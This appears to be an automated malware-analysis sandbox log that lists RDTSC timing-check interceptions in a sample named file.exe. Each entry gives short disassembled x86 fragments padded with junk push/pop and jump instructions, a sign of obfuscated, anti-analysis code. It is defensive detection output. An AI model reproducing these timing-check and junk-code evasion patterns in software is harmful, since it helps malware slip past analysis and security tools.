Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDA2A second address: ADDA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FDE8C51D4EBh 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FDE8C51D4E3h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jnl 00007FDE8C51D4D6h 0x0000001c jp 00007FDE8C51D4D6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDA5A second address: ADDA5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDA5E second address: ADDA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDA6A second address: ADDA80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FDE8CE8B4C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007FDE8CE8B4C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE2A7 second address: ADE2BF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnl 00007FDE8C51D4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE8C51D4DAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE2BF second address: ADE2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE844 second address: ADE848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE848 second address: ADE863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE8CE8B4CFh 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9168 second address: AE9184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9184 second address: AE9188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE92F6 second address: AE92FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE96D6 second address: AE96DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE96DC second address: AE96EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FDE8C51D4DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE982E second address: AE9832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9832 second address: AE985D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E3h 0x00000007 jmp 00007FDE8C51D4E4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE985D second address: AE9871 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FDE8CE8B4C6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c jl 00007FDE8CE8B4CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9871 second address: AE98F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE8C51D4DCh 0x0000000c pushad 0x0000000d jmp 00007FDE8C51D4E5h 0x00000012 jmp 00007FDE8C51D4E2h 0x00000017 popad 0x00000018 push esi 0x00000019 jmp 00007FDE8C51D4E0h 0x0000001e jmp 00007FDE8C51D4E9h 0x00000023 pop esi 0x00000024 pushad 0x00000025 js 00007FDE8C51D4D6h 0x0000002b push eax 0x0000002c pop eax 0x0000002d jmp 00007FDE8C51D4E4h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF23C0 second address: AF23D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FDE8CE8B4C6h 0x0000000d jmp 00007FDE8CE8B4CAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0657 second address: AF065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF065B second address: AF068A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE8CE8B4D2h 0x0000000b jmp 00007FDE8CE8B4CDh 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FDE8CE8B4C6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF068A second address: AF068E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1073 second address: AF1087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pop esi 0x00000008 jbe 00007FDE8CE8B4EDh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1087 second address: AF108B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF11F4 second address: AF11FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF137E second address: AF13C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FDE8C51D4E7h 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007FDE8C51D4D6h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007FDE8C51D4DCh 0x0000001e jo 00007FDE8C51D4D6h 0x00000024 je 00007FDE8C51D4D6h 0x0000002a popad 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF89A8 second address: AF89AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8370 second address: AF8374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8374 second address: AF83B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CEh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDE8CE8B4CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FDE8CE8B4CEh 0x00000018 jl 00007FDE8CE8B4C6h 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007FDE8CE8B4CCh 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF852E second address: AF8552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FDE8C51D4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE8C51D4E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B059F4 second address: B059F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05B91 second address: B05BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007FDE8C51D4D6h 0x0000000e jmp 00007FDE8C51D4E6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05BB8 second address: B05BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05BC0 second address: B05BFC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE8C51D4D6h 0x00000008 jbe 00007FDE8C51D4D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FDE8C51D4E2h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push edi 0x0000001a push eax 0x0000001b pop eax 0x0000001c pop edi 0x0000001d jmp 00007FDE8C51D4DAh 0x00000022 push edx 0x00000023 jng 00007FDE8C51D4D6h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A09B second address: B0A0A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A0A4 second address: B0A0AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDE8C51D4D6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A0AF second address: B0A0BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09C80 second address: B09C87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09DB6 second address: B09DD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D7h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B485 second address: B1B48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B48B second address: B1B48F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B48F second address: B1B493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B493 second address: B1B499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B499 second address: B1B4B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B4B6 second address: B1B4BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B4BA second address: B1B4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21AC6 second address: B21ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B202E8 second address: B202EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B205D8 second address: B205DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B205DC second address: B205F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jne 00007FDE8C51D4D6h 0x0000000d js 00007FDE8C51D4D6h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20A5B second address: B20A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20BAF second address: B20BBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 je 00007FDE8C51D4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24254 second address: B24258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32907 second address: B3291C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3291C second address: B32922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32922 second address: B3293B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jl 00007FDE8C51D4DCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41767 second address: B4176F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4176F second address: B41773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43013 second address: B43018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43018 second address: B43046 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007FDE8C51D4D6h 0x00000009 jmp 00007FDE8C51D4DBh 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FDE8C51D4E5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42EEF second address: B42EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B448A6 second address: B448B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B448B0 second address: B448B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B448B6 second address: B448D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8C51D4E1h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45EBF second address: B45EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45EC3 second address: B45EC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45EC7 second address: B45ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FDE8CE8B4D2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47E3A second address: B47E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47E3E second address: B47E71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE8CE8B4D8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47E71 second address: B47E9A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE8C51D4D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FDE8C51D4F3h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDE8C51D4E3h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61352 second address: B61358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61358 second address: B6136C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE8C51D4DCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60875 second address: B60894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4D0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007FDE8CE8B4C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60894 second address: B608AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDE8C51D4D6h 0x0000000a popad 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e js 00007FDE8C51D4D6h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B608AD second address: B608B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B608B1 second address: B608B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B608B5 second address: B608BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60B7B second address: B60B8E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE8C51D4DCh 0x00000008 jp 00007FDE8C51D4D6h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60F54 second address: B60F5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60F5A second address: B60F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6108B second address: B61091 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B629CF second address: B629DB instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE8C51D4DEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6538D second address: B65397 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE8CE8B4CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6564C second address: B65650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65650 second address: B656A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDE8CE8B4CDh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FDE8CE8B4C8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dword ptr [ebp+1244EF50h], edi 0x00000030 push 00000004h 0x00000032 mov dh, 40h 0x00000034 mov dh, bh 0x00000036 call 00007FDE8CE8B4C9h 0x0000003b push edi 0x0000003c push eax 0x0000003d push edx 0x0000003e push edx 0x0000003f pop edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B656A7 second address: B656AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B656AB second address: B656DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007FDE8CE8B4CFh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FDE8CE8B4D1h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B656DD second address: B6570D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FDE8C51D4DFh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDE8C51D4E1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67360 second address: B67364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66E31 second address: B66E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE8C51D4D6h 0x0000000a jmp 00007FDE8C51D4DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66E49 second address: B66E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66E4E second address: B66E92 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE8C51D4DCh 0x00000008 jno 00007FDE8C51D4EEh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FDE8C51D4E8h 0x00000018 jmp 00007FDE8C51D4DCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66E92 second address: B66E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D6C second address: B68D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDE8C51D4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D76 second address: B68D80 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE8CE8B4C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
